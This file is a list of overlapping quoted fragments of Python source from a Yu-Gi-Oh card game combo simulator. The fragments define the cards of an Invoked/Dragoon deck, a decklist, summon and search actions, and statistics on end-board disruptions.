"+= 1 for card in game.hand: if card in self.hand_traps: if card ==",
"len(fodder) < count: card = cards.pop() if card.card_type in [CardType.SPELL, CardType.TRAP]: fodder.append(card) return",
"if pure_distruptions < 3 and not game.has_flag(\"dragoon\"): game.add_flag(\"brick\") return game def get_redundant_cards_in_hand( self,",
"[self.corobane, self.candina]) and game.resource_available(\"activate field spell\") ): if self.meltdown in game.hand or self.aleister",
"(duster, mind_control) verte_materials = ( aleister, candina, corobane, souls, jester, fleur, ) #",
"Extra Deck carrier = Card(\"Union Carrier\", CardType.EXTRA_DECK) almiraj = Card(\"Salamangreat Almiraj\", CardType.EXTRA_DECK) gardna",
"return None game.move(game.extra_deck, game.monsters, self.artemis) return game def action_summon_almiraj(self, game: Game) -> Optional[Game]:",
"summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.souls) return game def action_use_souls(self,",
"self.select_set_rotation_targets(game) if not (my_card and opp_card): return None else: game.use_resource(\"activate field spell\") game.move(game.hand,",
"in game.extra_deck and self.almiraj in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.almiraj) game.move(game.extra_deck,",
"and len(fodder) < count: card = cards.pop() if card.card_type in [CardType.SPELL, CardType.TRAP]: fodder.append(card)",
"game.monsters, self.jester) game.use_hopt(self.jester) return game def action_normal_summon_jester(self, game: Game) -> Optional[Game]: if (",
"List[Card]: fodder = [] cards = self.get_redundant_cards_in_hand(game, include_useful=False) while cards and len(fodder) <",
"game: Game): for card in game.hand.cards[:]: # make a copy so we can",
"None game.move(game.extra_deck, game.monsters, self.artemis) return game def action_summon_almiraj(self, game: Game) -> Optional[Game]: if",
"disr_prison = Disruption(repr(prison), 2) disr_judgment = Disruption(repr(judgment), 2) disr_aleister = Disruption(repr(aleister), 1) #",
"def action_use_meltdown(self, game: Game) -> Optional[Game]: if ( self.meltdown in game.hand and game.hopt_available(self.meltdown)",
"1), (candina, 1), (corobane, 1), (lightstage, 1), # (upstart, 1), (cyclone, 2), (judgment,",
"if ( self.invocation in game.hand and self.mechaba in game.extra_deck and game.resource_available(\"summon\") ): if",
"game.hand and self.dragoon in game.extra_deck and not game.monsters.cards ): dm_location, red_eyes_location = self.find_dragoons_materials(game)",
"(called, 1), ), ( (almiraj, 1), (artemis, 1), (gardna, 1), (mechaba, 2), (purgatrio,",
"if ( self.meltdown in game.deck and game.hopt_available(self.meltdown) and self.meltdown not in game.hand and",
"desires = Card(\"Pot of Desires\", CardType.SPELL) upstart = Card(\"Upstart Goblin\", CardType.SPELL) # Hand",
"game.move(game.hand, game.monsters, self.souls) game.use_hopt(self.souls, \"summon\") return game def action_normal_summon_souls(self, game: Game) -> Optional[Game]:",
"-> Optional[Game]: if ( self.corobane in game.hand and game.hopt_available(self.corobane) and not game.monsters.cards and",
"search candina to normal if self.candina in game.deck: game.move(game.deck, game.hand, self.candina) elif self.corobane",
"game.move(game.hand, game.backrow, self.lightstage) # search candina to normal if self.candina in game.deck: game.move(game.deck,",
"count := hand.count(card) == 1: if game.hopt_available(card): redundant_cards[card] = 0 else: redundant_cards[card] =",
"elif field_target := self.select_invocation_banish_from_field(game): game.move(game.monsters, game.banished, field_target) else: return None game.move(game.hand, game.grave, self.invocation)",
"gamma) protection = (belle, called) cards_to_set = (judgment, droplet, called, imperm, prison, cyclone)",
"game.disruptions.add(self.disr_mechaba_m) elif card.card_type == CardType.SPELL: game.disruptions.add(self.disr_mechaba_s) elif card.card_type == CardType.TRAP: game.disruptions.add(self.disr_mechaba_t) if game.has_flag(\"mechaba\"):",
"summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.jester) return game def action_summon_corobane(self,",
"game.move(game.deck, game.hand, self.candina) elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return game def",
"if not (dm_location and red_eyes_location): return None game.use_hopt(self.verte) game.move(game.deck, game.grave, self.ref) game.move(dm_location, game.grave,",
") default_decklist = standard_decklist ######### # Helpers ######### @classmethod def generate_stats(cls, end_games: List[Game])",
"in game.hand and game.hopt_available(self.meltdown) and game.resource_available(\"activate field spell\") ): game.move(game.hand, game.backrow, self.meltdown) game.use_hopt(self.meltdown)",
"Game) -> Optional[Game]: if ( self.souls in game.hand and game.hopt_available(self.souls, \"summon\") and game.resource_available(\"summon\")",
"souls = Card(\"Magicians' Souls\", CardType.MONSTER) # Trickstar Engine candina = Card(\"Trickstar Candina\", CardType.MONSTER)",
"######### def select_invocation_banish_from_grave(self, game: Game) -> Optional[Card]: return game.grave.get_any(self.light_monsters) def select_invocation_banish_from_field(self, game: Game)",
"return game def action_use_souls(self, game: Game) -> Optional[Game]: if self.souls in game.monsters and",
"cls.percent_with_flags(end_games, [\"dragoon\"])], [\"Mechaba\", cls.percent_with_flags(end_games, [\"mechaba\"])], [\"Both\", cls.percent_with_flags(end_games, [\"dragoon\", \"mechaba\"])], [\"3+ Disruptions\", cls.percent_with_flags(end_games, [\"3+",
"self.verte in game.monsters and game.hopt_available(self.verte) and self.ref in game.deck and self.dragoon in game.extra_deck",
"spell\") game.move(game.hand, game.grave, self.set_rotation) game.move(game.deck, game.backrow, my_card) game.deck.cards.remove(opp_card) return game def action_use_meltdown(self, game:",
"= [] cards = self.get_redundant_cards_in_hand(game, include_useful=False) while cards and len(fodder) < count: card",
"######### def action_use_upstart(self, game: Game) -> Optional[Game]: if self.upstart in game.hand and len(game.deck)",
"game.monsters, self.corobane) game.use_hopt(self.corobane) return game def action_normal_summon_candina(self, game: Game) -> Optional[Game]: if (",
"self.gamma and self.driver in game.banished: continue if card == self.imperm: continue pure_distruptions +=",
"CardType.SPELL) called = Card(\"Called by the Grave\", CardType.SPELL) cyclone = Card(\"Cosmic Cyclone\", CardType.SPELL)",
"+= 1 if card == self.prison: game.disruptions.add(self.disr_prison) elif card == self.judgment: game.disruptions.add(self.disr_judgment) else:",
"game: Game) -> Optional[Game]: if self.upstart in game.hand and len(game.deck) > 1: game.move(game.hand,",
"self.dm in game.deck: return self.dm else: return None def select_souls_fodder(self, game: Game, count:",
"# (upstart, 1), (cyclone, 2), (judgment, 2), (upstart, 1), (duster, 1), (mind_control, 1),",
"Misc fleur = Card(\"<NAME>, the Knighted\", CardType.MONSTER) droplet = Card(\"Forbidden Droplet\", CardType.SPELL) called",
"Optional[Game]: if self.set_rotation in game.hand: my_card, opp_card = self.select_set_rotation_targets(game) if not (my_card and",
"and game.resource_available(\"summon\"): materials = [] monsters = game.monsters.cards[:] while len(materials) < 2 and",
"= Card(\"<NAME>, the Knighted\", CardType.MONSTER) droplet = Card(\"Forbidden Droplet\", CardType.SPELL) called = Card(\"Called",
"( self.verte in game.monsters and game.hopt_available(self.verte) and self.ref in game.deck and self.dragoon in",
"-> Optional[Game]: if ( self.lightstage in game.hand and any(card in game.deck for card",
"= Card(\"Psy-framelord Omega\", CardType.EXTRA_DECK) verte = Card(\"Predaplant Verte Anaconda\", CardType.EXTRA_DECK) dragoon = Card(\"Red-Eyes",
"cls.percent_with_flags(end_games, [\"brick\"])], ] def postprocess(self, game: Game): return game def endphase(self, game: Game):",
"game.move(game.banished, game.hand, self.aleister) game.deck.shuffle() return game def action_summon_verte(self, game: Game) -> Optional[Game]: if",
"CardType.SPELL) terraforming = Card(\"Terraforming\", CardType.SPELL) # Extenders jester = Card(\"Jester Confit\", CardType.MONSTER) souls",
"return game def get_redundant_cards_in_hand( self, game: Game, include_useful: bool = False ) ->",
"return game def action_summon_souls(self, game: Game) -> Optional[Game]: if ( self.souls in game.hand",
"Card(\"Red-Eyes Dark Dragoon\", CardType.EXTRA_DECK) # Disruptions disr_dragoon = Disruption(repr(dragoon), 8) disr_mechaba_m = Disruption(f\"{repr(mechaba)}",
"not (dm_location and red_eyes_location): return None game.use_hopt(self.verte) game.move(game.deck, game.grave, self.ref) game.move(dm_location, game.grave, self.dm)",
"self.meltdown in game.hand or self.aleister in game.hand: # we have a path to",
"game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.candina) if self.lightstage in",
"if self.meltdown in game.backrow: game.move(game.backrow, game.grave, self.meltdown) game.draw() fodder = self.select_souls_fodder(game, 1) if",
"game.move(game.backrow, game.grave, self.meltdown) game.draw() fodder = self.select_souls_fodder(game, 1) if fodder: game.move(game.hand, game.grave, fodder[0])",
"game.deck: game.move(game.deck, game.hand, self.corobane) elif self.candina in game.deck: game.move(game.deck, game.hand, self.candina) return game",
"action_normal_summon_souls(self, game: Game) -> Optional[Game]: if ( self.souls in game.hand and game.resource_available(\"normal summon\")",
"# Actions ######### def action_use_upstart(self, game: Game) -> Optional[Game]: if self.upstart in game.hand",
"card.card_type == CardType.TRAP: game.disruptions.add(self.disr_mechaba_t) if game.has_flag(\"mechaba\"): pure_distruptions += 1 for card in game.hand:",
"Maiden\", CardType.EXTRA_DECK) mechaba = Card(\"Invoked Mechaba\", CardType.EXTRA_DECK) augoeides = Card(\"Invoked Augoeides\", CardType.EXTRA_DECK) purgatrio",
"CardType.EXTRA_DECK) dragoon = Card(\"Red-Eyes Dark Dragoon\", CardType.EXTRA_DECK) # Disruptions disr_dragoon = Disruption(repr(dragoon), 8)",
"lightstage = Card(\"Trickstar Lightstage\", CardType.SPELL) set_rotation = Card(\"Set Rotation\", CardType.SPELL) # Draw desires",
"1), (called, 1), ), ( (almiraj, 1), (artemis, 1), (gardna, 1), (mechaba, 2),",
"elif self.dm in game.hand: dm_location = game.hand if self.red_eyes in game.deck: red_eyes_location =",
"Disruption(f\"{repr(mechaba)} (S)\", 0) disr_mechaba_t = Disruption(f\"{repr(mechaba)} (T)\", 0) disr_prison = Disruption(repr(prison), 2) disr_judgment",
"game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_summon_fleur(self, game: Game) -> Optional[Game]: if",
"in game.extra_deck and not game.monsters.cards ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location",
"prison, cyclone) discards = (driver, duster, mind_control, upstart, cyclone) light_monsters = (corobane, candina,",
"(meltdown, 3), (terraforming, 1), (prison, 2), (imperm, 3), (ash, 3), (souls, 3), (dm,",
"3), (souls, 3), (dm, 2), # (fleur, 1), (red_eyes, 2), (ref, 3), (magicalized_fusion,",
"-> Optional[Game]: if ( self.invocation in game.hand and self.mechaba in game.extra_deck and game.resource_available(\"summon\")",
"we can modify hand if card in self.cards_to_set: game.move(game.hand, game.backrow, card) # Process",
"game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_use_ref(self, game: Game) -> Optional[Game]: if",
"= Card(\"Droll & Lock Bird\", CardType.MONSTER) veiler = Card(\"Effect Veiler\", CardType.MONSTER) gamma =",
"if self.artemis in game.extra_deck and game.resource_available(\"summon\"): if self.aleister in game.monsters: game.move(game.monsters, game.grave, self.aleister)",
"Game) -> Optional[Game]: if ( self.souls in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\")",
"[\"Dragoon\", cls.percent_with_flags(end_games, [\"dragoon\"])], [\"Mechaba\", cls.percent_with_flags(end_games, [\"mechaba\"])], [\"Both\", cls.percent_with_flags(end_games, [\"dragoon\", \"mechaba\"])], [\"3+ Disruptions\", cls.percent_with_flags(end_games,",
"in game.deck: game.move(game.deck, game.hand, self.aleister) return game def action_summon_aleister(self, game: Game) -> Optional[Game]:",
"game.deck elif self.red_eyes in game.hand: red_eyes_location = game.hand return dm_location, red_eyes_location ######### #",
"fodder = [] cards = self.get_redundant_cards_in_hand(game, include_useful=False) while cards and len(fodder) < count:",
"game.hand: red_eyes_location = game.hand return dm_location, red_eyes_location ######### # Selects ######### def select_invocation_banish_from_grave(self,",
"pure_distruptions = 0 if self.dragoon in game.monsters and len(game.hand): game.add_flag(\"dragoon\") game.disruptions.add(self.disr_dragoon) pure_distruptions +=",
"in game.hand and game.hopt_available(self.corobane) and not game.monsters.cards and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.corobane)",
"if ( self.lightstage in game.hand and any(card in game.deck for card in [self.corobane,",
"Augoeides\", CardType.EXTRA_DECK) purgatrio = Card(\"Invoked Purgatrio\", CardType.EXTRA_DECK) omega = Card(\"Psy-framelord Omega\", CardType.EXTRA_DECK) verte",
"standard_decklist = DeckList( ( (aleister, 3), (invocation, 2), (meltdown, 3), (terraforming, 1), (prison,",
"red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return None game.use_hopt(self.verte) game.move(game.deck, game.grave,",
"[card for card in to_return if redundant_cards[card] > 1] def find_dragoons_materials( self, game:",
"CardType.TRAP) # Extra Deck carrier = Card(\"Union Carrier\", CardType.EXTRA_DECK) almiraj = Card(\"Salamangreat Almiraj\",",
"and self.candina in game.hand) ): return self.lightstage elif self.meltdown in game.deck: return self.meltdown",
"CardType.MONSTER) driver = Card(\"PSY-Frame Driver\", CardType.MONSTER) crow = Card(\"D.D. Crow\", CardType.MONSTER) belle =",
"modify hand if card in self.cards_to_set: game.move(game.hand, game.backrow, card) # Process Disruptions pure_distruptions",
"< 3 and not game.has_flag(\"dragoon\"): game.add_flag(\"brick\") return game def get_redundant_cards_in_hand( self, game: Game,",
"= Card(\"Invoked Mechaba\", CardType.EXTRA_DECK) augoeides = Card(\"Invoked Augoeides\", CardType.EXTRA_DECK) purgatrio = Card(\"Invoked Purgatrio\",",
"3), (ash, 3), (souls, 3), (dm, 2), # (fleur, 1), (red_eyes, 2), (ref,",
"in game.deck and game.hopt_available(self.meltdown) and self.meltdown not in game.hand and self.aleister not in",
"-> List[Card]: redundant_cards = {} # higher value means more redundant hand =",
"alesiter will be normaled if self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) elif self.candina",
"disr_mechaba_s = Disruption(f\"{repr(mechaba)} (S)\", 0) disr_mechaba_t = Disruption(f\"{repr(mechaba)} (T)\", 0) disr_prison = Disruption(repr(prison),",
"-> Optional[Game]: if ( self.aleister in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ):",
"redundant_cards[card] = 2 elif count == 2: if card in self.not_opt: redundant_cards[card] =",
"Souls\", CardType.MONSTER) # Trickstar Engine candina = Card(\"Trickstar Candina\", CardType.MONSTER) corobane = Card(\"Trickstar",
"game.extra_deck and game.resource_available(\"summon\"): if self.aleister in game.monsters: game.move(game.monsters, game.grave, self.aleister) elif self.jester in",
"else: game.move(game.hand, game.backrow, self.lightstage) # search candina to normal if self.candina in game.deck:",
"[\"Both\", cls.percent_with_flags(end_games, [\"dragoon\", \"mechaba\"])], [\"3+ Disruptions\", cls.percent_with_flags(end_games, [\"3+ disruptions\"])], [\"Bricks\", cls.percent_with_flags(end_games, [\"brick\"])], ]",
"fodder.pop()) game.draw() return game def action_summon_jester(self, game: Game) -> Optional[Game]: if ( self.jester",
"reverse=True ) if include_useful: return to_return else: return [card for card in to_return",
"game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_use_ref(self, game: Game) -> Optional[Game]: if (",
"-> Optional[Game]: if ( self.jester in game.hand and game.hopt_available(self.jester) and game.resource_available(\"summon\") ): game.move(game.hand,",
"dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return None game.use_hopt(self.verte) game.move(game.deck,",
"Optional[Card]: return game.grave.get_any(self.light_monsters) def select_invocation_banish_from_field(self, game: Game) -> Optional[Card]: return game.monsters.get_any(self.light_monsters) def select_souls_dump(self,",
"game.move(game.hand, game.grave, self.invocation) game.move(game.extra_deck, game.monsters, self.mechaba) if game.hopt_available(self.invocation, \"recycle\"): game.use_hopt(self.invocation, \"recycle\") game.move(game.grave, game.deck,",
"if self.lightstage in game.deck: my_card = self.lightstage if self.meltdown in game.deck: opp_card =",
"game.deck: opp_card = self.lightstage return my_card, opp_card ######### # Actions ######### def action_use_upstart(self,",
"card.card_type == CardType.SPELL: game.disruptions.add(self.disr_mechaba_s) elif card.card_type == CardType.TRAP: game.disruptions.add(self.disr_mechaba_t) if game.has_flag(\"mechaba\"): pure_distruptions +=",
"any(card in game.deck for card in [self.corobane, self.candina]) and game.resource_available(\"activate field spell\") ):",
"-> List[List[str]]: return [ [\"Dragoon\", cls.percent_with_flags(end_games, [\"dragoon\"])], [\"Mechaba\", cls.percent_with_flags(end_games, [\"mechaba\"])], [\"Both\", cls.percent_with_flags(end_games, [\"dragoon\",",
"def action_summon_gardna(self, game: Game) -> Optional[Game]: if ( self.gardna in game.extra_deck and self.almiraj",
"8) disr_mechaba_m = Disruption(f\"{repr(mechaba)} (M)\", 2) disr_mechaba_s = Disruption(f\"{repr(mechaba)} (S)\", 0) disr_mechaba_t =",
"game.add_flag(\"dragoon\") game.disruptions.add(self.disr_dragoon) pure_distruptions += 1 if self.mechaba in game.monsters: for card in game.hand:",
"1 for card in game.hand: if card in self.hand_traps: if card == self.gamma",
"card in hand: if count := hand.count(card) == 1: if game.hopt_available(card): redundant_cards[card] =",
"if self.meltdown in game.hand or self.aleister in game.hand: # we have a path",
"(belle, called) cards_to_set = (judgment, droplet, called, imperm, prison, cyclone) discards = (driver,",
"(dm, 2), # (fleur, 1), (red_eyes, 2), (ref, 3), (magicalized_fusion, 1), (candina, 1),",
"game.move(game.hand, game.monsters, self.corobane) game.use_hopt(self.corobane) return game def action_normal_summon_candina(self, game: Game) -> Optional[Game]: if",
"else: return None def select_souls_fodder(self, game: Game, count: int) -> List[Card]: fodder =",
"in self.cards_to_set: pure_distruptions += 1 if card == self.prison: game.disruptions.add(self.disr_prison) elif card ==",
"= Card(\"Magicalized Fusion\", CardType.SPELL) # Misc fleur = Card(\"<NAME>, the Knighted\", CardType.MONSTER) droplet",
"( self.almiraj in game.extra_deck and self.aleister in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave,",
"Lightstage\", CardType.SPELL) set_rotation = Card(\"Set Rotation\", CardType.SPELL) # Draw desires = Card(\"Pot of",
"Card(\"Invoked Mechaba\", CardType.EXTRA_DECK) augoeides = Card(\"Invoked Augoeides\", CardType.EXTRA_DECK) purgatrio = Card(\"Invoked Purgatrio\", CardType.EXTRA_DECK)",
"[ [\"Dragoon\", cls.percent_with_flags(end_games, [\"dragoon\"])], [\"Mechaba\", cls.percent_with_flags(end_games, [\"mechaba\"])], [\"Both\", cls.percent_with_flags(end_games, [\"dragoon\", \"mechaba\"])], [\"3+ Disruptions\",",
"= Card(\"Infinite Impermanence\", CardType.TRAP) # Dragoons dm = Card(\"Dark Magician\", CardType.MONSTER) red_eyes =",
"= (imperm, crow, meister, veiler, cyclone) going_second = (duster, mind_control) verte_materials = (",
"card = cards.pop() if card.card_type in [CardType.SPELL, CardType.TRAP]: fodder.append(card) return fodder def select_terraforming_target(self,",
"Gardna\", CardType.EXTRA_DECK) artemis = Card(\"Artemis, the Magistus Moon Maiden\", CardType.EXTRA_DECK) mechaba = Card(\"Invoked",
"in game.monsters and game.hopt_available(self.verte) and self.ref in game.deck and self.dragoon in game.extra_deck ):",
"-> Optional[Game]: if ( self.souls in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ):",
"self.meltdown in game.hand or self.aleister in game.hand: game.move(game.hand, game.backrow, self.lightstage) # search corobane,",
"more redundant hand = game.hand.cards[:] for card in hand: if count := hand.count(card)",
"light_monsters = (corobane, candina, artemis, gardna, fleur) not_opt = (imperm, crow, meister, veiler,",
"field_target := self.select_invocation_banish_from_field(game): game.move(game.monsters, game.banished, field_target) else: return None game.move(game.hand, game.grave, self.invocation) game.move(game.extra_deck,",
">= 3: game.add_flag(\"3+ disruptions\") if pure_distruptions < 3 and not game.has_flag(\"dragoon\"): game.add_flag(\"brick\") return",
"in game.monsters and game.hopt_available(self.souls, \"draw\"): game.use_hopt(self.souls, \"draw\") if self.meltdown in game.backrow: game.move(game.backrow, game.grave,",
"in game.deck: red_eyes_location = game.deck elif self.red_eyes in game.hand: red_eyes_location = game.hand return",
"jester, fleur, ) # artemis, almiraj, gardna? standard_decklist = DeckList( ( (aleister, 3),",
"= Card(\"Red-Eyes Fusion\", CardType.SPELL) magicalized_fusion = Card(\"Magicalized Fusion\", CardType.SPELL) # Misc fleur =",
"Optional[Game]: if ( self.jester in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal",
"in game.hand or self.aleister in game.hand: game.move(game.hand, game.backrow, self.lightstage) # search corobane, alesiter",
"upstart = Card(\"Upstart Goblin\", CardType.SPELL) # Hand Traps nibiru = Card(\"Nibiru, the Primal",
"Game) -> Optional[Game]: if ( self.fleur in game.hand and game.resource_available(\"summon\") and any(card.card_type ==",
"fleur) not_opt = (imperm, crow, meister, veiler, cyclone) going_second = (duster, mind_control) verte_materials",
"def action_use_upstart(self, game: Game) -> Optional[Game]: if self.upstart in game.hand and len(game.deck) >",
"almiraj, gardna? standard_decklist = DeckList( ( (aleister, 3), (invocation, 2), (meltdown, 3), (terraforming,",
"select_invocation_banish_from_field(self, game: Game) -> Optional[Card]: return game.monsters.get_any(self.light_monsters) def select_souls_dump(self, game: Game) -> Optional[Card]:",
"): game.move(game.monsters, game.grave, self.almiraj) game.move(game.extra_deck, game.monsters, self.gardna) return game def action_summon_souls(self, game: Game)",
"redundant_cards.keys(), key=lambda x: redundant_cards[x], reverse=True ) if include_useful: return to_return else: return [card",
"game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.almiraj) game.move(game.extra_deck, game.monsters, self.gardna) return game def",
"protection = (belle, called) cards_to_set = (judgment, droplet, called, imperm, prison, cyclone) discards",
"None for material in materials: game.move(game.monsters, game.grave, material) game.move(game.extra_deck, game.monsters, self.verte) return game",
"game.backrow, my_card) game.deck.cards.remove(opp_card) return game def action_use_meltdown(self, game: Game) -> Optional[Game]: if (",
"be normaled if self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) elif self.candina in game.deck:",
"List[Card]: redundant_cards = {} # higher value means more redundant hand = game.hand.cards[:]",
"self.souls in game.hand and game.hopt_available(self.souls, \"summon\") and game.resource_available(\"summon\") ): dump_target = self.select_souls_dump(game) if",
"disr_dragoon = Disruption(repr(dragoon), 8) disr_mechaba_m = Disruption(f\"{repr(mechaba)} (M)\", 2) disr_mechaba_s = Disruption(f\"{repr(mechaba)} (S)\",",
"(purgatrio, 1), (augoeides, 1), (omega, 1), (dragoon, 2), (verte, 2), ), ) default_decklist",
"game.deck, self.invocation) game.move(game.banished, game.hand, self.aleister) game.deck.shuffle() return game def action_summon_verte(self, game: Game) ->",
"game.monsters, self.gardna) return game def action_summon_souls(self, game: Game) -> Optional[Game]: if ( self.souls",
"return [card for card in to_return if redundant_cards[card] > 1] def find_dragoons_materials( self,",
"else: return None game.move(game.hand, game.grave, self.invocation) game.move(game.extra_deck, game.monsters, self.mechaba) if game.hopt_available(self.invocation, \"recycle\"): game.use_hopt(self.invocation,",
"in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.aleister) game.move(game.extra_deck, game.monsters, self.almiraj) return game",
"not_opt = (imperm, crow, meister, veiler, cyclone) going_second = (duster, mind_control) verte_materials =",
"imperm, prison, cyclone) discards = (driver, duster, mind_control, upstart, cyclone) light_monsters = (corobane,",
"game.deck: game.move(game.deck, game.hand, self.lightstage) elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return game",
"-> Optional[Game]: if self.upstart in game.hand and len(game.deck) > 1: game.move(game.hand, game.grave, self.upstart)",
"(souls, 3), (dm, 2), # (fleur, 1), (red_eyes, 2), (ref, 3), (magicalized_fusion, 1),",
"1: if game.hopt_available(card): redundant_cards[card] = 0 else: redundant_cards[card] = 2 elif count ==",
"Game) -> Optional[Card]: return game.monsters.get_any(self.light_monsters) def select_souls_dump(self, game: Game) -> Optional[Card]: if self.dm",
"judgment = Card(\"Solemn Judgment\", CardType.TRAP) # Extra Deck carrier = Card(\"Union Carrier\", CardType.EXTRA_DECK)",
"return game.grave.get_any(self.light_monsters) def select_invocation_banish_from_field(self, game: Game) -> Optional[Card]: return game.monsters.get_any(self.light_monsters) def select_souls_dump(self, game:",
"-> Optional[Game]: if self.set_rotation in game.hand: my_card, opp_card = self.select_set_rotation_targets(game) if not (my_card",
"game.resource_available(\"activate field spell\") ): game.move(game.hand, game.backrow, self.meltdown) game.use_hopt(self.meltdown) if self.aleister in game.deck: game.move(game.deck,",
"game.grave, material) game.move(game.extra_deck, game.monsters, self.verte) return game def action_use_verte(self, game: Game) -> Optional[Game]:",
"in game.hand: my_card, opp_card = self.select_set_rotation_targets(game) if not (my_card and opp_card): return None",
"monsters = game.monsters.cards[:] while len(materials) < 2 and monsters: card = monsters.pop() if",
"fodder.append(card) return fodder def select_terraforming_target(self, game: Game) -> Optional[Card]: if ( self.meltdown in",
"game.grave, self.set_rotation) game.move(game.deck, game.backrow, my_card) game.deck.cards.remove(opp_card) return game def action_use_meltdown(self, game: Game) ->",
"a copy so we can modify hand if card in self.cards_to_set: game.move(game.hand, game.backrow,",
"game.deck for card in [self.corobane, self.candina]) and game.resource_available(\"activate field spell\") ): if self.meltdown",
"self.red_eyes in game.hand: red_eyes_location = game.hand return dm_location, red_eyes_location ######### # Selects #########",
"-> Optional[Game]: if ( self.almiraj in game.extra_deck and self.aleister in game.monsters and game.resource_available(\"summon\")",
"meister, gamma) protection = (belle, called) cards_to_set = (judgment, droplet, called, imperm, prison,",
"game: Game) -> Optional[Game]: if ( self.invocation in game.hand and self.mechaba in game.extra_deck",
"Card(\"Ghost Belle & Haunted Mansion\", CardType.MONSTER) meister = Card(\"Skull Meister\", CardType.MONSTER) imperm =",
"candina, corobane, souls, jester, fleur, ) # artemis, almiraj, gardna? standard_decklist = DeckList(",
"game.grave, self.souls) else: return None game.move(game.extra_deck, game.monsters, self.artemis) return game def action_summon_almiraj(self, game:",
"game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.aleister) game.use_resource(\"normal summon\") if self.invocation in game.deck: game.move(game.deck, game.hand,",
"in game.hand and game.resource_available(\"summon\") and any(card.card_type == CardType.EXTRA_DECK for card in game.monsters) ):",
"self.gardna in game.extra_deck and self.almiraj in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.almiraj)",
"in game.monsters: game.move(game.monsters, game.grave, self.souls) else: return None game.move(game.extra_deck, game.monsters, self.artemis) return game",
"elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return game def action_summon_mechaba(self, game: Game)",
"monsters: card = monsters.pop() if card in self.verte_materials: materials.append(card) if len(materials) < 2:",
"not dump_target: return None game.move(game.deck, game.grave, dump_target) game.move(game.hand, game.monsters, self.souls) game.use_hopt(self.souls, \"summon\") return",
"Card(\"Infinite Impermanence\", CardType.TRAP) # Dragoons dm = Card(\"Dark Magician\", CardType.MONSTER) red_eyes = Card(\"Red-Eyes",
"crow, belle, meister, gamma) protection = (belle, called) cards_to_set = (judgment, droplet, called,",
"redundant hand = game.hand.cards[:] for card in hand: if count := hand.count(card) ==",
"Game) -> List[Card]: my_card, opp_card = None, None if self.meltdown in game.hand or",
"(dragoon, 2), (verte, 2), ), ) default_decklist = standard_decklist ######### # Helpers #########",
"[\"dragoon\"])], [\"Mechaba\", cls.percent_with_flags(end_games, [\"mechaba\"])], [\"Both\", cls.percent_with_flags(end_games, [\"dragoon\", \"mechaba\"])], [\"3+ Disruptions\", cls.percent_with_flags(end_games, [\"3+ disruptions\"])],",
"List, Optional, Tuple from framework import CardGroup, CardType, DeckList, Disruption, Manager, Card, Game",
"None game.use_hopt(self.verte) game.move(game.deck, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters,",
"action_use_upstart(self, game: Game) -> Optional[Game]: if self.upstart in game.hand and len(game.deck) > 1:",
"game: Game) -> Optional[Game]: if ( self.souls in game.hand and game.resource_available(\"normal summon\") and",
"elif self.aleister in game.monsters: game.move(game.monsters, game.banished, self.aleister) else: return None if grave_target :=",
"game.hand, self.corobane) return game def action_use_lightstage(self, game: Game) -> Optional[Game]: if ( self.lightstage",
"in game.deck: return self.lightstage else: return None def select_set_rotation_targets(self, game: Game) -> List[Card]:",
"Bird\", CardType.MONSTER) veiler = Card(\"Effect Veiler\", CardType.MONSTER) gamma = Card(\"PSY-Framegear Gamma\", CardType.MONSTER) driver",
"game.monsters, self.artemis) return game def action_summon_almiraj(self, game: Game) -> Optional[Game]: if ( self.almiraj",
"= Card(\"Predaplant Verte Anaconda\", CardType.EXTRA_DECK) dragoon = Card(\"Red-Eyes Dark Dragoon\", CardType.EXTRA_DECK) # Disruptions",
"select_souls_dump(self, game: Game) -> Optional[Card]: if self.dm in game.deck: return self.dm else: return",
"pure_distruptions >= 3: game.add_flag(\"3+ disruptions\") if pure_distruptions < 3 and not game.has_flag(\"dragoon\"): game.add_flag(\"brick\")",
"3), (invocation, 2), (meltdown, 3), (terraforming, 1), (prison, 2), (imperm, 3), (ash, 3),",
"nibiru = Card(\"Nibiru, the Primal Being\", CardType.MONSTER) ash = Card(\"Ash Blossom & Joyous",
"Disruption(repr(judgment), 2) disr_aleister = Disruption(repr(aleister), 1) # Lists hand_traps = (ash, ogre, veiler,",
"Invoked aleister = Card(\"Aleister the Invoker\", CardType.MONSTER) invocation = Card(\"Invocation\", CardType.SPELL) meltdown =",
"def get_redundant_cards_in_hand( self, game: Game, include_useful: bool = False ) -> List[Card]: redundant_cards",
"and game.resource_available(\"activate field spell\") ): if self.meltdown in game.hand or self.aleister in game.hand:",
"continue if card == self.imperm: continue pure_distruptions += 1 game.disruptions.add(Disruption(repr(card), 1)) for card",
"and game.resource_available(\"summon\"): if self.aleister in game.monsters: game.move(game.monsters, game.grave, self.aleister) elif self.jester in game.monsters:",
